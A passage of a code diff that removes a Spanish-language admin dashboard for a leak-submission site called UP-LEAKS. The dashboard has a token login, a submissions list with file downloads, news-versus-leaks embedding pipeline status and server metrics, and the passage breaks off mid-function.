popup.appendChild(p);
|
|
||||||
popup.appendChild(btn);
|
|
||||||
|
|
||||||
popup.querySelector('button').addEventListener('click', () => {
|
popup.querySelector('button').addEventListener('click', () => {
|
||||||
popup.style.display = 'none';
|
popup.style.display = 'none';
|
||||||
|
|
|
||||||
|
|
@ -1,463 +0,0 @@
|
||||||
<!DOCTYPE html>
|
|
||||||
<html lang="es">
|
|
||||||
<head>
|
|
||||||
<meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
||||||
<meta name="robots" content="noindex">
|
|
||||||
<meta name="referrer" content="no-referrer">
|
|
||||||
<title>UP-LEAKS // panel</title>
|
|
||||||
<style>
|
|
||||||
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-400.woff2') format('woff2'); font-weight: 400; font-display: swap; }
|
|
||||||
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-500.woff2') format('woff2'); font-weight: 500; font-display: swap; }
|
|
||||||
@font-face { font-family: 'Fira Code'; src: url('/fonts/fira-code-700.woff2') format('woff2'); font-weight: 700; font-display: swap; }
|
|
||||||
:root {
|
|
||||||
--neon: #39ff14; --neon-soft: #7dff5e; --neon-deep: #0e3a08; --bg: #000; --panel: #080d08; --panel-2: #0b120b;
|
|
||||||
--line: #1c4a14; --line-soft: #12300d; --ink: #d7f5d0; --muted: #6f9a6a; --faint: #46603f;
|
|
||||||
--red: #ff2d2d; --amber: #ffb800;
|
|
||||||
--mono: 'Fira Code', ui-monospace, Menlo, Consolas, monospace; --glow: 0 0 8px rgba(57,255,20,.55);
|
|
||||||
}
|
|
||||||
* { box-sizing: border-box; }
|
|
||||||
body {
|
|
||||||
margin: 0; background: var(--bg); color: var(--ink); font-family: var(--mono); font-size: 14px; line-height: 1.6;
|
|
||||||
background-image: repeating-linear-gradient(0deg, rgba(57,255,20,.015) 0 1px, transparent 1px 3px);
|
|
||||||
-webkit-font-smoothing: antialiased;
|
|
||||||
}
|
|
||||||
a { color: var(--neon); }
|
|
||||||
.wrap { max-width: 1000px; margin: 0 auto; padding: 0 20px; }
|
|
||||||
::selection { background: var(--neon); color: #000; }
|
|
||||||
|
|
||||||
header.top { border-bottom: 1px solid var(--line); }
|
|
||||||
.top .wrap { display: flex; align-items: center; justify-content: space-between; height: 60px; }
|
|
||||||
.brand { font-weight: 700; letter-spacing: .2em; }
|
|
||||||
.brand b { color: var(--neon); text-shadow: var(--glow); }
|
|
||||||
.brand .sub { color: var(--muted); font-weight: 400; font-size: 12px; letter-spacing: .1em; }
|
|
||||||
|
|
||||||
button {
|
|
||||||
background: transparent; color: var(--neon); border: 1px solid var(--neon); font-family: var(--mono);
|
|
||||||
font-weight: 700; padding: 10px 20px; cursor: pointer; text-transform: uppercase; letter-spacing: .06em; font-size: 12.5px;
|
|
||||||
transition: background .16s, color .16s, box-shadow .16s;
|
|
||||||
}
|
|
||||||
button:hover:not(:disabled) { background: var(--neon); color: #000; box-shadow: 0 0 16px -2px rgba(57,255,20,.7); }
|
|
||||||
button:disabled { opacity: .5; cursor: wait; }
|
|
||||||
button.ghost { border-color: var(--line); color: var(--muted); }
|
|
||||||
button.ghost:hover { border-color: var(--neon); color: var(--neon); background: transparent; box-shadow: none; }
|
|
||||||
|
|
||||||
/* gate */
|
|
||||||
.gate { max-width: 460px; margin: 90px auto; border: 1px solid var(--line); background: var(--panel); padding: 30px; }
|
|
||||||
.gate h1 { font-size: 17px; margin: 0 0 6px; font-weight: 500; }
|
|
||||||
.gate h1::before { content: "// "; color: var(--neon); }
|
|
||||||
.gate p { color: var(--muted); font-size: 12.5px; margin: 0 0 18px; }
|
|
||||||
input[type="password"], input[type="text"] {
|
|
||||||
width: 100%; background: var(--bg); border: 1px solid var(--line); color: var(--ink); padding: 12px; font-family: var(--mono); font-size: 14px;
|
|
||||||
}
|
|
||||||
input:focus { outline: none; border-color: var(--neon); box-shadow: 0 0 0 1px var(--neon), 0 0 14px -2px rgba(57,255,20,.5); }
|
|
||||||
.gate .row { display: flex; gap: 10px; margin-top: 16px; }
|
|
||||||
.gate-err { color: var(--red); font-size: 12.5px; margin-top: 12px; min-height: 1.2em; }
|
|
||||||
|
|
||||||
/* tabs + toolbar */
|
|
||||||
.toolbar { display: flex; align-items: center; gap: 12px; padding: 20px 0 12px; flex-wrap: wrap; }
|
|
||||||
.tabs { display: flex; gap: 6px; }
|
|
||||||
.tabs button { padding: 8px 16px; font-size: 12px; }
|
|
||||||
.tabs button.active { background: var(--neon-deep); color: var(--neon); border-color: var(--neon); }
|
|
||||||
.spacer { flex: 1; }
|
|
||||||
.updated { color: var(--faint); font-size: 11.5px; letter-spacing: .04em; }
|
|
||||||
|
|
||||||
/* ------- submissions ------- */
|
|
||||||
.filters { display: flex; gap: 6px; margin: 4px 0 14px; }
|
|
||||||
.filters button { padding: 6px 12px; font-size: 11px; }
|
|
||||||
.filters button.active { background: var(--neon-deep); color: var(--neon); border-color: var(--neon); }
|
|
||||||
.list { display: flex; flex-direction: column; gap: 12px; padding-bottom: 60px; }
|
|
||||||
.sub { border: 1px solid var(--line); background: var(--panel); padding: 16px 18px; }
|
|
||||||
.sub .head { display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-bottom: 8px; }
|
|
||||||
.sub .ref { color: var(--neon); font-weight: 700; }
|
|
||||||
.sub .date { color: var(--muted); font-size: 12px; }
|
|
||||||
.sub .tema { color: var(--ink); font-size: 12px; border: 1px solid var(--line); padding: 1px 8px; }
|
|
||||||
.badge { font-size: 10.5px; text-transform: uppercase; letter-spacing: .08em; padding: 2px 8px; border: 1px solid; }
|
|
||||||
.badge.nuevo { color: var(--neon); border-color: var(--neon); }
|
|
||||||
.badge.revisado { color: var(--amber); border-color: var(--amber); }
|
|
||||||
.badge.archivado { color: var(--faint); border-color: var(--line); }
|
|
||||||
.sub .msg { white-space: pre-wrap; word-break: break-word; color: var(--ink); font-size: 13.5px; margin: 8px 0; }
|
|
||||||
.sub .contacto { color: var(--muted); font-size: 12.5px; }
|
|
||||||
.sub .contacto b { color: var(--ink); }
|
|
||||||
.files { display: flex; flex-direction: column; gap: 5px; margin: 10px 0 4px; }
|
|
||||||
.files a { display: inline-flex; align-items: center; gap: 8px; font-size: 12.5px; cursor: pointer; }
|
|
||||||
.files a::before { content: "⬇ "; color: var(--neon); }
|
|
||||||
.actions { display: flex; gap: 8px; margin-top: 12px; padding-top: 10px; border-top: 1px solid var(--line); }
|
|
||||||
.actions button { padding: 5px 12px; font-size: 10.5px; }
|
|
||||||
.empty { color: var(--muted); text-align: center; padding: 50px; }
|
|
||||||
|
|
||||||
/* ------- system (htop) ------- */
|
|
||||||
.tiles { display: grid; grid-template-columns: repeat(4, 1fr); gap: 12px; margin-bottom: 20px; }
|
|
||||||
@media (max-width: 720px) { .tiles { grid-template-columns: repeat(2, 1fr); } }
|
|
||||||
.tile { border: 1px solid var(--line); background: var(--panel); padding: 14px 16px; }
|
|
||||||
.tile .k { font-size: 10.5px; letter-spacing: .12em; text-transform: uppercase; color: var(--faint); }
|
|
||||||
.tile .v { font-size: 24px; font-weight: 700; margin: 6px 0 8px; color: var(--ink); font-variant-numeric: tabular-nums; }
|
|
||||||
.tile .v small { font-size: 13px; color: var(--muted); font-weight: 400; }
|
|
||||||
|
|
||||||
.sec-title { font-size: 11.5px; letter-spacing: .14em; text-transform: uppercase; color: var(--muted); margin: 22px 0 12px; }
|
|
||||||
.sec-title::before { content: "// "; color: var(--neon); }
|
|
||||||
|
|
||||||
.meter { height: 9px; background: rgba(57,255,20,.08); border: 1px solid var(--line-soft); position: relative; overflow: hidden; }
|
|
||||||
.meter > span { position: absolute; left: 0; top: 0; bottom: 0; background: linear-gradient(90deg, var(--neon), var(--neon-soft)); transition: width .5s ease; }
|
|
||||||
.meter.warn > span { background: linear-gradient(90deg, #b8860b, var(--amber)); }
|
|
||||||
.meter.crit > span { background: linear-gradient(90deg, #a01d1d, var(--red)); }
|
|
||||||
|
|
||||||
.svcs { display: flex; flex-wrap: wrap; gap: 8px; margin-bottom: 8px; }
|
|
||||||
.svc { font-size: 11px; padding: 4px 10px; border: 1px solid; letter-spacing: .04em; }
|
|
||||||
.svc.up { color: var(--neon); border-color: var(--neon); }
|
|
||||||
.svc.down { color: var(--red); border-color: var(--red); }
|
|
||||||
.svc::before { content: "● "; }
|
|
||||||
|
|
||||||
.procs { border: 1px solid var(--line); background: var(--panel); }
|
|
||||||
.prow { display: grid; grid-template-columns: 1.6fr 60px 1.3fr 70px 66px; gap: 10px; align-items: center;
|
|
||||||
padding: 10px 14px; border-bottom: 1px solid var(--line-soft); font-size: 12.5px; }
|
|
||||||
.prow:last-child { border-bottom: none; }
|
|
||||||
.prow.hdr { color: var(--faint); font-size: 10.5px; letter-spacing: .1em; text-transform: uppercase; }
|
|
||||||
.prow .name { color: var(--ink); overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
|
|
||||||
.prow .name.viejo { color: var(--red); }
|
|
||||||
.prow .cpu { text-align: right; font-variant-numeric: tabular-nums; color: var(--neon); }
|
|
||||||
.prow .mem, .prow .time, .prow .pid { color: var(--muted); font-variant-numeric: tabular-nums; }
|
|
||||||
.prow .time { text-align: right; } .prow .pid { text-align: right; color: var(--faint); }
|
|
||||||
|
|
||||||
.prog { display: flex; flex-direction: column; gap: 14px; margin-bottom: 40px; }
|
|
||||||
.prog .item .top { display: flex; justify-content: space-between; margin-bottom: 5px; font-size: 12.5px; }
|
|
||||||
.prog .item .lbl { color: var(--ink); } .prog .item .val { color: var(--muted); font-variant-numeric: tabular-nums; }
|
|
||||||
.prog .item .val b { color: var(--neon); }
|
|
||||||
.kv { display: flex; gap: 24px; flex-wrap: wrap; margin-top: 4px; font-size: 12.5px; color: var(--muted); }
|
|
||||||
.kv b { color: var(--neon); }
|
|
||||||
|
|
||||||
/* ------- pipelines ------- */
|
|
||||||
#pipesView { padding-bottom: 50px; }
|
|
||||||
.pipe { border: 1px solid var(--line); background: var(--panel); padding: 20px 22px; margin-bottom: 14px; }
|
|
||||||
.pipe .phead { display: flex; justify-content: space-between; align-items: baseline; gap: 12px; margin-bottom: 16px; flex-wrap: wrap; }
|
|
||||||
.pipe .ptitle { font-size: 15.5px; font-weight: 700; color: var(--ink); }
|
|
||||||
.pipe .pcad { color: var(--faint); font-weight: 400; font-size: 12px; }
|
|
||||||
.pstate { font-size: 10.5px; text-transform: uppercase; letter-spacing: .08em; padding: 3px 10px; border: 1px solid; white-space: nowrap; }
|
|
||||||
.pstate.e-run { color: var(--neon); border-color: var(--neon); }
|
|
||||||
.pstate.e-idle { color: var(--faint); border-color: var(--line); }
|
|
||||||
.pstate.e-err { color: var(--red); border-color: var(--red); }
|
|
||||||
.steps-bar, .flow { display: flex; gap: 5px; align-items: stretch; }
|
|
||||||
.flow { align-items: center; gap: 2px; flex-wrap: wrap; }
|
|
||||||
.seg { flex: 1; min-width: 92px; border: 1px solid var(--line-soft); padding: 12px 8px; display: flex; flex-direction: column; gap: 4px; align-items: center; justify-content: center; min-height: 54px; text-align: center; }
|
|
||||||
.seg .sl { font-size: 12px; color: var(--ink); }
|
|
||||||
.seg .sd { font-size: 10.5px; color: var(--muted); font-variant-numeric: tabular-nums; }
|
|
||||||
.seg.done { background: var(--neon-deep); border-color: var(--neon); }
|
|
||||||
.seg.done .sl { color: var(--neon); }
|
|
||||||
.seg.run { border-color: var(--neon); background: rgba(57,255,20,.1); animation: pulse 1.4s ease-in-out infinite; }
|
|
||||||
.seg.run .sl { color: var(--neon); text-shadow: var(--glow); }
|
|
||||||
.seg.err { border-color: var(--red); } .seg.err .sl, .seg.err .sd { color: var(--red); }
|
|
||||||
.seg.pend { opacity: .5; } .seg.pend .sl { color: var(--faint); }
|
|
||||||
.seg.live { border-color: var(--neon); } .seg.live .sl { color: var(--neon); }
|
|
||||||
.flow .arrow { color: var(--faint); font-size: 15px; padding: 0 2px; }
|
|
||||||
@keyframes pulse { 0%,100% { box-shadow: 0 0 0 0 rgba(57,255,20,0); } 50% { box-shadow: 0 0 16px -2px rgba(57,255,20,.6); } }
|
|
||||||
@media (prefers-reduced-motion: reduce) { .seg.run { animation: none; } }
|
|
||||||
.bigbar { height: 26px; background: rgba(57,255,20,.08); border: 1px solid var(--line); position: relative; overflow: hidden; margin-bottom: 12px; }
|
|
||||||
.bigbar > span { position: absolute; left: 0; top: 0; bottom: 0; background: linear-gradient(90deg, var(--neon), var(--neon-soft)); transition: width .6s ease; }
|
|
||||||
.bigbar > em { position: absolute; inset: 0; display: flex; align-items: center; justify-content: center; font-style: normal; font-size: 12px; font-weight: 700; color: #fff; mix-blend-mode: difference; }
|
|
||||||
.pmeta { display: flex; gap: 22px; flex-wrap: wrap; font-size: 12.5px; color: var(--muted); }
|
|
||||||
.pmeta b { color: var(--neon); }
|
|
||||||
.pstats { margin-top: 12px; padding-top: 10px; border-top: 1px solid var(--line-soft); font-size: 12px; color: var(--muted); }
|
|
||||||
.pstats b { color: var(--ink); }
|
|
||||||
</style>
|
|
||||||
</head>
|
|
||||||
<body>
|
|
||||||
<header class="top">
|
|
||||||
<div class="wrap">
|
|
||||||
<span class="brand"><b>UP</b>-LEAKS <span class="sub">// panel de control</span></span>
|
|
||||||
<button class="ghost" id="logoutBtn" style="display:none">salir</button>
|
|
||||||
</div>
|
|
||||||
</header>
|
|
||||||
|
|
||||||
<div class="wrap" id="gateWrap">
|
|
||||||
<div class="gate">
|
|
||||||
<h1>acceso restringido</h1>
|
|
||||||
<p>Introduce el token de administración.</p>
|
|
||||||
<input type="password" id="tokenInput" placeholder="ADMIN_TOKEN" autocomplete="off">
|
|
||||||
<div class="row"><button id="loginBtn">entrar</button></div>
|
|
||||||
<div class="gate-err" id="gateErr"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="wrap" id="panel" style="display:none">
|
|
||||||
<div class="toolbar">
|
|
||||||
<div class="tabs">
|
|
||||||
<button data-tab="envios" class="active">envíos</button>
|
|
||||||
<button data-tab="pipelines">pipelines</button>
|
|
||||||
<button data-tab="sistema">sistema</button>
|
|
||||||
</div>
|
|
||||||
<span class="spacer"></span>
|
|
||||||
<span class="updated" id="updated"></span>
|
|
||||||
<button class="ghost" id="refreshBtn">refrescar</button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- ENVÍOS -->
|
|
||||||
<div id="enviosView">
|
|
||||||
<div class="filters" id="filters">
|
|
||||||
<button data-f="todos" class="active">todos</button>
|
|
||||||
<button data-f="nuevo">nuevos</button>
|
|
||||||
<button data-f="revisado">revisados</button>
|
|
||||||
<button data-f="archivado">archivados</button>
|
|
||||||
</div>
|
|
||||||
<div class="list" id="list"></div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- PIPELINES -->
|
|
||||||
<div id="pipesView" style="display:none">
|
|
||||||
<div id="pipesView-body"></div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<!-- SISTEMA -->
|
|
||||||
<div id="systemView" style="display:none">
|
|
||||||
<div class="tiles" id="tiles"></div>
|
|
||||||
<div class="sec-title">servicios</div>
|
|
||||||
<div class="svcs" id="svcs"></div>
|
|
||||||
<div class="sec-title">procesos en marcha</div>
|
|
||||||
<div class="procs" id="procs"></div>
|
|
||||||
<div class="sec-title">procesamiento</div>
|
|
||||||
<div class="prog" id="prog"></div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<script>
|
|
||||||
(function () {
|
|
||||||
var TOKEN = sessionStorage.getItem('upl_admin_token') || '';
|
|
||||||
var subsData = [], filter = 'todos', tab = 'envios', sysTimer = null;
|
|
||||||
var $ = function (id) { return document.getElementById(id); };
|
|
||||||
function authHeaders() { return { 'Authorization': 'Bearer ' + TOKEN }; }
|
|
||||||
function esc(s) { return String(s == null ? '' : s).replace(/[&<>"]/g, function (c) { return ({ '&': '&', '<': '<', '>': '>', '"': '"' })[c]; }); }
|
|
||||||
function fmtDate(d) { try { return new Date(d).toLocaleString('es-ES'); } catch (e) { return d; } }
|
|
||||||
function human(b) { if (b < 1024) return b + ' B'; if (b < 1048576) return (b / 1024).toFixed(1) + ' KB'; if (b < 1073741824) return (b / 1048576).toFixed(1) + ' MB'; return (b / 1073741824).toFixed(1) + ' GB'; }
|
|
||||||
function dur(s) { s = Math.max(0, Math.round(s)); var d = Math.floor(s / 86400), h = Math.floor(s % 86400 / 3600), m = Math.floor(s % 3600 / 60); if (d) return d + 'd ' + h + 'h'; if (h) return h + 'h ' + m + 'm'; if (m) return m + 'm ' + (s % 60) + 's'; return s + 's'; }
|
|
||||||
function rel(ts) { var s = (Date.now() - new Date(ts).getTime()) / 1000; if (s < 60) return 'hace ' + Math.round(s) + 's'; if (s < 3600) return 'hace ' + Math.round(s / 60) + ' min'; if (s < 86400) return 'hace ' + Math.round(s / 3600) + ' h'; return 'hace ' + Math.round(s / 86400) + ' d'; }
|
|
||||||
function meter(pct, cls) { pct = Math.max(0, Math.min(100, pct)); return '<div class="meter ' + (cls || '') + '"><span style="width:' + pct + '%"></span></div>'; }
|
|
||||||
|
|
||||||
function showPanel(show) { $('gateWrap').style.display = show ? 'none' : ''; $('panel').style.display = show ? '' : 'none'; $('logoutBtn').style.display = show ? '' : 'none'; }
|
|
||||||
|
|
||||||
/* ---------- ENVÍOS ---------- */
|
|
||||||
function loadSubs() {
|
|
||||||
return fetch('/api/submissions?limit=500', { headers: authHeaders() })
|
|
||||||
.then(function (r) {
|
|
||||||
if (r.status === 401) throw new Error('Token incorrecto.');
|
|
||||||
if (r.status === 503) throw new Error('Panel no configurado en el servidor (falta ADMIN_TOKEN).');
|
|
||||||
return r.json();
|
|
||||||
})
|
|
||||||
.then(function (d) {
|
|
||||||
if (!d.ok) throw new Error(d.error || 'Error');
|
|
||||||
subsData = d.submissions || []; sessionStorage.setItem('upl_admin_token', TOKEN);
|
|
||||||
showPanel(true); renderSubs(); markUpdated();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
function renderSubs() {
|
|
||||||
var list = $('list');
|
|
||||||
var items = subsData.filter(function (s) { return filter === 'todos' || s.estado === filter; });
|
|
||||||
if (!items.length) { list.innerHTML = '<div class="empty">— sin envíos —</div>'; return; }
|
|
||||||
list.innerHTML = '';
|
|
||||||
items.forEach(function (s) {
|
|
||||||
var el = document.createElement('div'); el.className = 'sub';
|
|
||||||
var files = (s.archivos || []).map(function (f) { return '<a data-file="' + esc(f.guardado) + '" data-name="' + esc(f.nombre_original) + '">' + esc(f.nombre_original) + ' · ' + human(f.bytes || 0) + '</a>'; }).join('');
|
|
||||||
el.innerHTML =
|
|
||||||
'<div class="head"><span class="ref">' + esc(s.ref) + '</span><span class="date">' + esc(fmtDate(s.creado)) + '</span>' +
|
|
||||||
'<span class="tema">' + esc(s.tema) + '</span><span class="badge ' + esc(s.estado) + '">' + esc(s.estado) + '</span></div>' +
|
|
||||||
(s.mensaje ? '<div class="msg">' + esc(s.mensaje) + '</div>' : '<div class="msg" style="color:var(--faint)">(sin mensaje)</div>') +
|
|
||||||
(s.contacto ? '<div class="contacto">contacto: <b>' + esc(s.contacto) + '</b></div>' : '') +
|
|
||||||
(files ? '<div class="files">' + files + '</div>' : '') +
|
|
||||||
'<div class="actions"><button data-act="revisado" data-ref="' + esc(s.ref) + '">marcar revisado</button>' +
|
|
||||||
'<button data-act="archivado" data-ref="' + esc(s.ref) + '">archivar</button>' +
|
|
||||||
'<button data-act="nuevo" data-ref="' + esc(s.ref) + '" class="ghost">reabrir</button></div>';
|
|
||||||
list.appendChild(el);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
function downloadFile(g, name) {
|
|
||||||
fetch('/api/submissions/file/' + encodeURIComponent(g), { headers: authHeaders() })
|
|
||||||
.then(function (r) { if (!r.ok) throw new Error(); return r.blob(); })
|
|
||||||
.then(function (blob) { var u = URL.createObjectURL(blob); var a = document.createElement('a'); a.href = u; a.download = name || g; document.body.appendChild(a); a.click(); a.remove(); setTimeout(function () { URL.revokeObjectURL(u); }, 4000); })
|
|
||||||
.catch(function () { alert('No se pudo descargar el archivo.'); });
|
|
||||||
}
|
|
||||||
function setEstado(ref, estado) {
|
|
||||||
fetch('/api/submissions/' + encodeURIComponent(ref) + '/estado', { method: 'POST', headers: Object.assign({ 'Content-Type': 'application/json' }, authHeaders()), body: JSON.stringify({ estado: estado }) })
|
|
||||||
.then(function (r) { return r.json(); }).then(function (d) { if (d.ok) { var it = subsData.find(function (s) { return s.ref === ref; }); if (it) it.estado = estado; renderSubs(); } });
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ---------- SISTEMA ---------- */
|
|
||||||
function loadSystem() {
|
|
||||||
return fetch('/api/system', { headers: authHeaders() })
|
|
||||||
.then(function (r) { if (r.status === 401) throw new Error('Token incorrecto.'); return r.json(); })
|
|
||||||
.then(function (d) { if (!d.ok) throw new Error(d.error || 'Error'); renderSystem(d); renderPipes(d); markUpdated(); });
|
|
||||||
}
|
|
||||||
function statsLine(fases) {
|
|
||||||
var f = (fases || []).find(function (x) { return x.stats && Object.keys(x.stats).length; });
|
|
||||||
if (!f) return '';
|
|
||||||
var parts = Object.keys(f.stats).slice(0, 5).map(function (k) { return esc(k.replace(/_/g, ' ')) + ': <b>' + esc(f.stats[k]) + '</b>'; });
|
|
||||||
return '<div class="pstats">' + esc(f.label) + ' → ' + parts.join(' · ') + '</div>';
|
|
||||||
}
|
|
||||||
function renderPipes(d) {
|
|
||||||
var out = '';
|
|
||||||
var pr = d.progress;
|
|
||||||
var procBy = function (k) { return (d.procesos || []).find(function (x) { return x.key === k; }); };
|
|
||||||
|
|
||||||
/* ---- 1 · Comparación semántica v2 (el motor nuevo, foco actual) ---- */
|
|
||||||
var c = d.comparacion, motor = procBy('motor');
|
|
||||||
if (c) {
|
|
||||||
var badgeCls, badgeTxt;
|
|
||||||
if (motor) { badgeCls = 'e-run'; badgeTxt = 'regenerando'; }
|
|
||||||
else if (c.v2Activa) { badgeCls = 'e-run'; badgeTxt = 'activa en el grafo'; }
|
|
||||||
else if (c.v2Aristas > 0) { badgeCls = 'e-idle'; badgeTxt = 'lista · standby'; }
|
|
||||||
else { badgeCls = 'e-idle'; badgeTxt = 'sin generar'; }
|
|
||||||
var srvV1 = !c.v2Activa, srvV2 = c.v2Activa;
|
|
||||||
out += '<div class="pipe"><div class="phead"><span class="ptitle">Comparación semántica · v2 <span class="pcad">· noticias ↔ leaks por embeddings</span></span>' +
|
|
||||||
'<span class="pstate ' + badgeCls + '">' + badgeTxt + '</span></div>' +
|
|
||||||
'<div class="steps-bar">' +
|
|
||||||
'<div class="seg ' + (srvV2 ? 'done' : 'pend') + '"><span class="sl">v2 semántica</span><span class="sd">' + c.v2Aristas.toLocaleString('es-ES') + ' aristas</span></div>' +
|
|
||||||
'<div class="seg ' + (srvV1 ? 'live' : 'pend') + '"><span class="sl">v1 word-overlap</span><span class="sd">' + (c.v1Aristas >= 1e6 ? (c.v1Aristas / 1e6).toFixed(0) + 'M' : c.v1Aristas.toLocaleString('es-ES')) + ' aristas</span></div>' +
|
|
||||||
'</div>' +
|
|
||||||
'<div class="pmeta" style="margin-top:14px">' +
|
|
||||||
'<span>sirve al grafo: <b>' + esc(c.activa) + '</b></span>' +
|
|
||||||
'<span>posible_evento: <b>' + (c.v2Eventos || 0).toLocaleString('es-ES') + '</b></span>' +
|
|
||||||
(c.modelo ? '<span>modelo: <b>' + esc(c.modelo) + '</b></span>' : '') +
|
|
||||||
(motor ? '<span>regen: <b>' + dur(motor.etimes) + '</b> · CPU <b>' + motor.cpu.toFixed(0) + '%</b></span>' : '') +
|
|
||||||
'</div>' +
|
|
||||||
(c.v2Aristas > 0 && !c.v2Activa && !motor ? '<div class="pstats">v2 generada y en espera → falta el switch del front (<b>COMPARACIONES_COL=comparaciones_v2</b> + restart).</div>' : '') +
|
|
||||||
'</div>';
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ---- 2 · Backfill de embeddings (leaks → vectores) ---- */
|
|
||||||
var bf = procBy('backfill');
|
|
||||||
if (pr) {
|
|
||||||
var noApto = pr.torrNoApto || 0;
|
|
||||||
var bpct = pr.torrTotal ? pr.torrEmb / pr.torrTotal * 100 : 0;
|
|
||||||
var procDone = (pr.torrEmb + noApto) >= pr.torrTotal;
|
|
||||||
var bBadge = bf ? 'e-run' : (procDone ? 'e-idle' : 'e-idle');
|
|
||||||
var bTxt = bf ? 'ejecutando' : (procDone ? 'completado' : 'detenido');
|
|
||||||
out += '<div class="pipe"><div class="phead"><span class="ptitle">Backfill de embeddings <span class="pcad">· leaks → vectores</span></span>' +
|
|
||||||
'<span class="pstate ' + bBadge + '">' + bTxt + '</span></div>' +
|
|
||||||
'<div class="bigbar"><span style="width:' + Math.min(100, bpct).toFixed(1) + '%"></span><em>' + pr.torrEmb.toLocaleString('es-ES') + ' embebidos / ' + pr.torrTotal.toLocaleString('es-ES') + ' · ' + bpct.toFixed(0) + '%</em></div>' +
|
|
||||||
'<div class="pmeta">' + (bf ? '<span>en marcha: <b>' + dur(bf.etimes) + '</b></span><span>CPU: <b>' + bf.cpu.toFixed(0) + '%</b></span>' : '<span>proceso no activo</span>') +
|
|
||||||
'<span>no aptos: <b>' + noApto.toLocaleString('es-ES') + '</b></span>' +
|
|
||||||
'<span>pendientes: <b>' + Math.max(0, pr.torrTotal - pr.torrEmb - noApto).toLocaleString('es-ES') + '</b></span>' +
|
|
||||||
'<span>chunks: <b>' + pr.chunks.toLocaleString('es-ES') + '</b></span></div></div>';
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ---- 3 · Coconews flujo continuo (noticias) ---- */
|
|
||||||
var stages = [['ingestor', 'Ingesta RSS'], ['translator', 'Traducción'], ['ner', 'Entidades'], ['embedder', 'Embedding']];
|
|
||||||
var svcMap = {}; (d.services || []).forEach(function (s) { svcMap[s.name] = s.active; });
|
|
||||||
var flow = stages.map(function (k) {
|
|
||||||
var a = svcMap['coconews-' + k[0]];
|
|
||||||
return '<div class="seg ' + (a ? 'live' : 'pend') + '"><span class="sl">' + k[1] + '</span><span class="sd">' + (a ? 'en vivo' : 'off') + '</span></div>';
|
|
||||||
}).join('<span class="arrow">→</span>');
|
|
||||||
out += '<div class="pipe"><div class="phead"><span class="ptitle">Coconews · flujo continuo <span class="pcad">· noticias en tiempo real</span></span>' +
|
|
||||||
'<span class="pstate e-run">continuo</span></div><div class="flow">' + flow + '</div>' +
|
|
||||||
(pr ? '<div class="pmeta" style="margin-top:14px"><span>noticias embebidas: <b>' + pr.notiEmb.toLocaleString('es-ES') + '</b> / ' + pr.notiTotal.toLocaleString('es-ES') + '</span>' + (pr.lastNoti ? '<span>última noticia: <b>' + rel(pr.lastNoti) + '</b></span>' : '') + '</div>' : '') + '</div>';
|
|
||||||
|
|
||||||
/* ---- 4 · Pipeline maestro word-overlap (legacy · retirado) ---- */
|
|
||||||
var p = d.pipelines && d.pipelines.maestro;
|
|
||||||
if (p) {
|
|
||||||
var retirado = !p.habilitado && !p.running;
|
|
||||||
var segs = p.fases.map(function (f) {
|
|
||||||
var cls = retirado ? 'pend' : (f.estado === 'completado' ? 'done' : (f.estado === 'en_progreso' ? 'run' : (f.estado === 'error' ? 'err' : 'pend')));
|
|
||||||
return '<div class="seg ' + cls + '"><span class="sl">' + esc(f.label) + '</span><span class="sd">' + (f.durSec != null ? dur(f.durSec) : '—') + '</span></div>';
|
|
||||||
}).join('');
|
|
||||||
var stCls, stTxt;
|
|
||||||
if (retirado) { stCls = 'e-idle'; stTxt = 'retirado'; }
|
|
||||||
else if (p.running) { stCls = 'e-run'; stTxt = 'ejecutando'; }
|
|
||||||
else if (p.estado === 'error') { stCls = 'e-err'; stTxt = 'con errores'; }
|
|
||||||
else { stCls = 'e-idle'; stTxt = 'en espera'; }
|
|
||||||
var next = retirado ? 'desactivado' : (p.nextRun ? (p.running ? 'en ejecución' : 'en ' + dur((p.nextRun - d.now) / 1000)) : '—');
|
|
||||||
out += '<div class="pipe" style="opacity:' + (retirado ? '.72' : '1') + '"><div class="phead"><span class="ptitle">Comparación word-overlap <span class="pcad">· motor viejo' + (retirado ? ', sustituido por v2' : ' · ' + esc(p.cadencia)) + '</span></span>' +
|
|
||||||
'<span class="pstate ' + stCls + '">' + stTxt + '</span></div>' +
|
|
||||||
'<div class="steps-bar">' + segs + '</div>' +
|
|
||||||
'<div class="pmeta" style="margin-top:14px">' +
|
|
||||||
'<span>última ejecución: <b>' + (p.lastDurSec != null ? dur(p.lastDurSec) : '—') + '</b>' + (p.lastFin ? ' (' + rel(p.lastFin) + ')' : '') + '</span>' +
|
|
||||||
'<span>próxima: <b>' + next + '</b></span></div>' +
|
|
||||||
(retirado ? '<div class="pstats">Timer <b>flujos-pipeline</b> deshabilitado. La colección <b>comparaciones</b> (word-overlap) se conserva intacta como respaldo.</div>' : statsLine(p.fases)) +
|
|
||||||
'</div>';
|
|
||||||
}
|
|
||||||
$('pipesView-body').innerHTML = out || '<div class="empty">— sin datos de pipeline —</div>';
|
|
||||||
}
|
|
||||||
function renderSystem(d) {
|
|
||||||
var h = d.host, load1 = h.load[0], loadPct = (load1 / h.cores) * 100;
|
|
||||||
var loadCls = loadPct > 100 ? 'crit' : (loadPct > 70 ? 'warn' : '');
|
|
||||||
var memUsed = h.totalmem - h.freemem, memPct = memUsed / h.totalmem * 100;
|
|
||||||
var memCls = memPct > 90 ? 'crit' : (memPct > 75 ? 'warn' : '');
|
|
||||||
$('tiles').innerHTML =
|
|
||||||
tile('Carga (1m)', load1.toFixed(2) + ' <small>/ ' + h.cores + ' cores</small>', loadPct, loadCls) +
|
|
||||||
